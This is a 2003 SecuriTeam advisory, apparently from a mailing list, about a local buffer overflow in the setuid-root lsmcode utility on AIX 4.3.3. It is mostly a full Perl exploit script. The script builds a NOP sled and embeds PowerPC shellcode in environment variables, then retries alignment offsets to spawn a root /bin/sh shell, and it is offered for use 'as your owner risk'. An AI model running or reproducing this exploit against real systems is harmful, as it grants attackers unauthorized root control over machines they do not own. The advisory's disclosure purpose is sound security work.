[EXPL] Exploit Code Release for lsmcode Vulnerability

From: SecuriTeam (support_at_securiteam.com)
Date: 06/11/03

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Date: 11 Jun 2003 19:06:36 +0200

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      Exploit Code Release for lsmcode Vulnerability
    ------------------------------------------------------------------------

    SUMMARY

    The lsmcode program, a utility that allows viewing of all Microcode
    levels, contains vulnerability that allows local attackers to overflow its
    internal buffer, since its setuid root, elevated privileges can be gained.

    DETAILS

    Exploit:
    #!/usr/bin/perl
    # FileName: x_lsmcode_aix4x.pl
    # Exploit lsmcode of Aix4.3.3 to get a uid=0 shell.
    # Tested : on Aix4.3.3.Mybe can work on other versions.
    # Author : watercloud@xfocus.org
    # Site : www.xfocus.org www.xfocus.net
    # Date : 2003-6-1
    # Announce: use as your owner risk!

    $CMD="/usr/sbin/lsmcode";
    $_=`/usr/bin/oslevel`;

    $XID="\x03";
    $UID="\x97";
    print "\n\nExploit $CMD for Aix 4.3.3 to get uid=0 shell.\n";
    print "From: [ www.xfocus.org 2003-6-1 ].\n\n";

    $NOP="\x7c\xa5\x2a\x79"x800;
    %ENV=();

    $ENV{CCC}="A" .$NOP.&getshell($XID,$UID);
    $ENV{DIAGNOSTICS}="\x2f\xf2\x2a\x2f"x300;
    $ret = system $CMD ,"-d","a";

    for($i=0;$i<4 && $ret;$i++){
      for($j=0;$j<4 && $ret;$j++) {
        $ENV{CCC}="A"x $i .$NOP.&getshell($XID,$UID);
        $ENV{DIAGNOSTICS}="A"x $j ."\x2f\xf2\x2a\x2f"x300;
        $ret = system $CMD ,"-d","a";
      }
    }

    #sub
    sub getshell($XID,$GID) {
      my $SHELL,($XID,$GID)=@_;
      $SHELL="\x7e\x94\xa2\x79\x7e\x84\xa3\x78\x40\x82\xff\xfd";
      $SHELL.="\x7e\xa8\x02\xa6\x3a\xb5\x01\x40\x88\x55\xfe\xe0";
      $SHELL.="\x7e\x83\xa3\x78\x3a\xd5\xfe\xe4\x7e\xc8\x03\xa6";
      $SHELL.="\x4c\xc6\x33\x42\x44\xff\xff\x02$GID$XID\xff\xff";
      $SHELL.="\x38\x75\xff\x04\x38\x95\xff\x0c\x7e\x85\xa3\x78";
      $SHELL.="\x90\x75\xff\x0c\x92\x95\xff\x10\x88\x55\xfe\xe1";
      $SHELL.="\x9a\x95\xff\x0b\x4b\xff\xff\xd8/bin/sh\xff";
      return $SHELL;
    }
    #EOF

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:watercloud@xfocus.org>
    watercloud.

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